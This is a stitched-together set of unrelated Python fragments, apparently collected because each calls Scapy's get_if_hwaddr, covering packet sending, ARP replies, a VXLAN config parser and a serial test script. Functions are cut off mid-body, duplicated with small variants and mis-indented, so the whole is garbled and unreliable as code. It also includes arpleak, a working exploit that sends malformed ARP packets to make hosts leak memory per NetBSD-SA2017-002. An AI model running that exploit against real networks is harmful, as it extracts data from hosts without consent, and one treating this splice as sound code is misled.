def send_pkt(self, intf='', count=1):
     self.print_summary()
     if intf != '':
         # fix fortville can't receive packets with 00:00:00:00:00:00
         if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
             self.pkt.getlayer(0).src = get_if_hwaddr(intf)
         sendp(self.pkt, iface=intf, count=count)

 def __init__(self, iface, flood):
     if os.getuid() == 0:
         self.__iface = iface
         self.__flood = flood
         self.__iface_addr = get_if_hwaddr(iface)
         self.__dict = {}
         self.__dos = False
     else:
         print "Must be superuser to do this."
         sys.exit(-1)

 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.payload.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)

 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = conf.default_src_mac
     return MACField.i2h(self, pkt, x)

 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)

 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except Exception as e:
                 warning("Could not get the source MAC: %s" % e)
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)

def arpleak(target, plen=255, hwlen=255, **kargs):
    """Exploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc

    """
    # We want explicit packets
    pkts_iface = {}
    for pkt in ARP(pdst=target):
        # We have to do some of Scapy's work since we mess with
        # important values
        iface = conf.route.route(pkt.pdst)[0]
        psrc = get_if_addr(iface)
        hwsrc = get_if_hwaddr(iface)
        pkt.plen = plen
        pkt.hwlen = hwlen
        if plen == 4:
            pkt.psrc = psrc
        else:
            pkt.psrc = inet_aton(psrc)[:plen]
            pkt.pdst = inet_aton(pkt.pdst)[:plen]
        if hwlen == 6:
            pkt.hwsrc = hwsrc
        else:
            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
        pkts_iface.setdefault(iface, []).append(
            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
        )
    ans, unans = SndRcvList(), PacketList(name="Unanswered")
    for iface, pkts in viewitems(pkts_iface):
        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
        ans += ans_new
        unans += unans_new
        ans.listname = "Results"
        unans.listname = "Unanswered"
    for _, rcv in ans:
        if ARP not in rcv:
            continue
        rcv = rcv[ARP]
        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
        if plen > 4 and len(psrc) > 4:
            print("psrc")
            hexdump(psrc[4:])
            print()
        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
        if hwlen > 6 and len(hwsrc) > 6:
            print("hwsrc")
            hexdump(hwsrc[6:])
            print()
    return ans, unans

    def make_reply(self, req):
        ether = req.getlayer(Ether)
        arp = req.getlayer(ARP)

        if self.optsend.has_key("iface"):
            iff = self.optsend.get("iface")
        else:
            iff, a, gw = conf.route.route(arp.psrc)
        self.iff = iff
        if self.ARP_addr is None:
            try:
                ARP_addr = get_if_hwaddr(iff)
            except:
                ARP_addr = "00:00:00:00:00:00"
                pass
        else:
            ARP_addr = self.ARP_addr
        resp = Ether(dst=ether.src, src=ARP_addr) / ARP(
            op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc
        )
        return resp

def parse_config(filepath):
    
    mac_base_int = int(get_if_hwaddr(linux.get_if_list()[0]).replace(":", ""), 16)
#     mac_base_int = [int(sec, 16) for sec in get_if_hwaddr().split(":")]
    attrs_valid = set(["vni", "subnet", "gw_ip", "vteps"])
#     attrs_valid = set(["vlan", "vni", "subnet", "gw_ip"])
    
    try:
        with open(filepath) as f:
            maps = json.load(f)
            for m in maps:
                assert set(m.keys() ) == attrs_valid, "Invalid json key/value was discovered."

                m["subnet"] = IPNetwork(m["subnet"])
                m["gw_ip"] = IPAddress(m["gw_ip"])
                is_inc = smallest_matching_cidr(m["gw_ip"], m["subnet"])
                assert is_inc is not None, "The subnet and gw_ip mismatch."
                
                assert all( [is_valid_ipv4(vtep[0]) for vtep in m["vteps"].items() ] ), \
                    "There are some invalid representations of IPv4 address."
                
                assert is_valid_vni(m["vni"]), "Out of the valid VNI range. (0 < VNI < 2 ** 24)"
                mac_int = (mac_base_int + m["vni"]) % MAC_MODULER
                mac_hex = "{0:012x}".format(mac_int)
                m["hwaddr"] = ":".join( [mac_hex[idx:idx+2] for idx in xrange(len(mac_hex) ) if idx % 2 == 0] )
#                 mac_int[-1] = (mac_int[-1] + m["vni"]) % 256
#                 m["hwaddr"] = ":".join( ["%02x" % sec for sec in mac_int] )
                
        maps = { m["vni"] : m for m in maps}
        return maps

    except AssertionError as excpt:
        print excpt
        print("Program exits.")
        sys.exit(1)
        
    except Exception as excpt:
        print excpt
        sys.exit(1)

    def process_request(self, arp):
        assert isinstance(arp, ARP)
        assert arp.op == _ARP_REQUEST

        if arp.hwsrc == get_if_hwaddr(scapy_conf.iface):
            self._pending_request.add(arp.pdst)

	def get_iface_mac(name):
		return get_if_hwaddr(name)

@brief      

@copyright  Copyright 2015, OpenMote Technologies, S.L.
            This file is licensed under the GNU General Public License v2.
'''

import serial
import struct
import os
import time
from scapy.all import Ether,IP,UDP,Raw
from scapy.all import sendp, sniff
from scapy.arch import get_if_hwaddr

eth_iface = "eth0"
eth_addr  = get_if_hwaddr(eth_iface)
eth_delay = 0.5

sniff_addr = "ff:ff:ff:ff:ff:ff"
payload  = "0123456789ABCDEF123456789ABCDEF"

def program():
    global sniff_addr
    
    print("Testing from " + eth_iface + " (" + eth_addr + ")...")

    ser = serial.Serial(port     = '/dev/ttyUSB0',
                        baudrate = 115200,
                        parity   = serial.PARITY_ODD,
                        stopbits = serial.STOPBITS_TWO,
                        bytesize = serial.SEVENBITS,